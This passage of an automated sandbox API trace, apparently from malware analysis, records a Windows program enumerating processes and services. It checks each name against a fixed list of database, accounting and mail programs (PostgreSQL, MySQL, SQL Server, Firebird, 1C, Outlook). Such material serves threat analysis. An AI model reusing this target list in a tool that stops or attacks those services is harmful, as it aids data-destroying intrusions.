th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.868] lstrlenW (lpString="svchost.exe") returned 11 [0283.868] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.870] lstrlenW (lpString="svchost.exe") returned 11 [0283.870] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.871] lstrlenW (lpString="svchost.exe") returned 11 [0283.871] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.873] lstrlenW (lpString="svchost.exe") returned 11 [0283.873] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.874] lstrlenW (lpString="svchost.exe") returned 11 [0283.874] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.875] lstrlenW (lpString="svchost.exe") returned 11 [0283.875] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.876] lstrlenW (lpString="svchost.exe") returned 11 [0283.876] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0283.876] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0283.876] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.877] lstrlenW (lpString="svchost.exe") returned 11 [0283.877] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0283.878] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0283.878] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.947] lstrlenW (lpString="svchost.exe") returned 11 [0283.947] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0283.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0283.947] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.948] lstrlenW (lpString="spoolsv.exe") returned 11 [0283.948] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0283.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0283.948] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0283.948] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0283.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0283.948] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0283.949] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0283.949] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.951] lstrlenW (lpString="svchost.exe") returned 11 [0283.951] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0283.951] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0283.951] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.953] lstrlenW (lpString="audiodg.exe") returned 11 [0283.953] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0283.953] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0283.953] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0283.953] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0283.953] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0283.953] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0283.953] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0283.953] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.954] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0283.954] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0283.954] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0283.954] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0283.954] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0283.954] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0283.954] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0283.954] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0283.955] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.956] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0283.956] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.956] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.956] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.958] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.958] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0283.958] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0283.958] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.959] lstrlenW (lpString="Memory Compression") returned 18 [0283.959] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0283.959] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0283.959] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0283.959] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0283.959] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0283.959] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0283.959] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0283.959] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.960] lstrlenW (lpString="svchost.exe") returned 11 [0283.960] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0283.960] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0283.960] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0283.960] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0283.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0283.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0283.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0283.961] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.962] lstrlenW (lpString="sihost.exe") returned 10 [0283.962] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0283.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0283.962] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.964] lstrlenW (lpString="taskhostw.exe") returned 13 [0283.964] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0283.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0283.964] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0283.965] lstrlenW (lpString="msoia.exe") returned 9 [0283.965] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0283.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0283.965] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0283.965] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0283.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0283.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0283.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0283.966] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.967] lstrlenW (lpString="explorer.exe") returned 12 [0283.967] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0283.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0283.967] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0283.967] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0283.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0283.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0283.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0283.967] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.968] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0283.968] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0283.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0283.969] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.970] lstrlenW (lpString="SearchUI.exe") returned 12 [0283.970] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0283.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0283.970] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.979] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0283.979] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0283.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0283.980] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.981] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0283.981] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0283.981] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0283.983] lstrlenW (lpString="chrome64b.exe") returned 13 [0283.983] lstrcmpiW (lpString1="1c8.exe", lpString2="chrome64b.exe") returned -1 [0283.983] lstrcmpiW (lpString1="1cv77.exe", lpString2="chrome64b.exe") returned -1 [0283.983] lstrcmpiW (lpString1="outlook.exe", lpString2="chrome64b.exe") returned 1 [0283.983] lstrcmpiW (lpString1="postgres.exe", lpString2="chrome64b.exe") returned 1 [0283.983] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="chrome64b.exe") returned 1 [0283.983] lstrcmpiW (lpString1="mysqld.exe", lpString2="chrome64b.exe") returned 1 [0283.983] lstrcmpiW (lpString1="sqlservr.exe", lpString2="chrome64b.exe") returned 1 [0283.983] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0283.984] lstrlenW (lpString="consent.exe") returned 11 [0283.984] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0283.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0283.985] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0283.985] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0283.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0283.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0283.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0283.985] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.986] lstrlenW (lpString="dllhost.exe") returned 11 [0283.986] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0283.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0283.986] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0283.986] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0283.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0283.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0283.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0283.986] Process32NextW (in: hSnapshot=0x558, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0283.987] CloseHandle (hObject=0x558) returned 1 [0283.987] Sleep (dwMilliseconds=0x1f4) [0284.615] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a068 [0284.616] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0284.616] GetLastError () returned 0xea [0284.616] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0284.617] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0284.618] CloseServiceHandle (hSCObject=0x69a068) returned 1 [0284.618] lstrlenW (lpString="Appinfo") returned 7 [0284.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0284.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0284.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0284.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0284.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0284.619] lstrlenW (lpString="AppXSvc") returned 7 [0284.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0284.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0284.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0284.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0284.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0284.619] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0284.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.619] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0284.619] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0284.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0284.619] lstrlenW (lpString="Audiosrv") returned 8 [0284.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0284.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0284.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0284.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0284.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0284.619] lstrlenW (lpString="BFE") returned 3 [0284.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0284.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0284.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0284.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0284.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0284.620] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0284.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.620] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0284.620] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0284.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0284.620] lstrlenW (lpString="CDPSvc") returned 6 [0284.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 